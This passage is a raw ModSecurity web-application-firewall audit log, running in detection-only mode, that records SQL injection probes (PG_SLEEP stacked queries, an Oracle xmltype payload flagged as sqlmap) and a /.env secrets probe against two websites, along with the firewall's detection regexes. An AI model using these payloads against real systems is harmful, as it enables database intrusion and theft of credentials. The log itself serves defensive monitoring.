[line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'ppel'='ppel found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 5401=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(122)||chr(107)||chr(106)||chr(113)||(select (case when (5401=5401) then 1 else 0 end) from dual)||chr(113)||chr(122)||chr(113)||chr(107)||chr(113)||chr(62))) from dual) and 'ppel'='ppel"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89ool8S04UZ4l67-nejAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023586932873 61569 (- - -) Stopwatch2: 1750023586932873 61569; combined=5642, p1=456, p2=5048, p3=0, p4=0, p5=137, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0a56d47-Z-- --09b07f3b-A-- [16/Jun/2025:03:09:48.609625 +0530] aE89o9kGqt_oHz6gRVdJKAAAAAw 185.177.72.210 53190 127.0.0.1 7081 --09b07f3b-B-- GET /:9000/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09b07f3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=345e2838ca2b5e21629efaf3f459ddf81750023588; expires=Sun, 15 Jun 2025 22:39:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09b07f3b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/shop/.env"] [unique_id "aE89o9kGqt_oHz6gRVdJKAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023587948814 660873 (- - -) Stopwatch2: 1750023587948814 660873; combined=1629, p1=374, p2=1167, p3=0, p4=0, p5=87, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09b07f3b-Z-- --b9d88402-A-- [16/Jun/2025:03:09:48.830946 +0530] aE89pB-kH31pk4mNbsU_PQAAAAo 172.71.250.48 53212 127.0.0.1 7081 --b9d88402-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.48 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538e18f782d04-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b9d88402-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);SELECT%20PG_SLEEP(5)-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --b9d88402-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89pB-kH31pk4mNbsU_PQAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89pB-kH31pk4mNbsU_PQAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89pB-kH31pk4mNbsU_PQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023588382092 448947 (- - -) Stopwatch2: 1750023588382092 448947; combined=4029, p1=432, p2=3402, p3=0, p4=0, p5=194, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9d88402-Z-- --77d0b949-A-- [16/Jun/2025:03:09:50.128731 +0530] aE89pfkun2jazaBvM9tuNAAAAAE 172.71.172.90 37740 127.0.0.1 7081 --77d0b949-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.90 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538eb3953d35c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --77d0b949-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;SELECT%20PG_SLEEP(5)-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --77d0b949-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89pfkun2jazaBvM9tuNAAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89pfkun2jazaBvM9tuNAAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89pfkun2jazaBvM9tuNAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023589922305 206525 (- - -) Stopwatch2: 1750023589922305 206525; combined=3058, p1=354, p2=2501, p3=0, p4=0, p5=202, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77d0b949-Z-- --c166bf32-A-- [16/Jun/2025:03:09:51.096261 +0530] aE89plR6EeXjkGzEkbllDQAAAAs 172.70.240.40 37790 127.0.0.1 7081 --c166bf32-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.40 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538f12a9f3554-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c166bf32-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now);SELECT%20PG_SLEEP(5)-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --c166bf32-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now');select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89plR6EeXjkGzEkbllDQAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89plR6EeXjkGzEkbllDQAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: select pg_sleep(5)-- found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now');select pg_sleep(5)--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89plR6EeXjkGzEkbllDQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023590884001 212364 (- - -) Stopwatch2: 1750023590884001 212364; combined=4641, p1=413, p2=4043, p3=0, p4=0, p5=184, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c166bf32-Z-- --20f7dd54-A-- [16/Jun/2025:03:09:52.071961 +0530] aE89p9kGqt_oHz6gRVdJKgAAAAw 162.158.87.33 37866 127.0.0.1 7081 --20f7dd54-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.87.33 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538f7298c695d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --20f7dd54-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now;SELECT%20PG_SLEEP(5)-- Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --20f7dd54-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';SELECT PG_SLEEP(5) found within MATCHED_VAR: login-now';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_campaign: login-now';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match 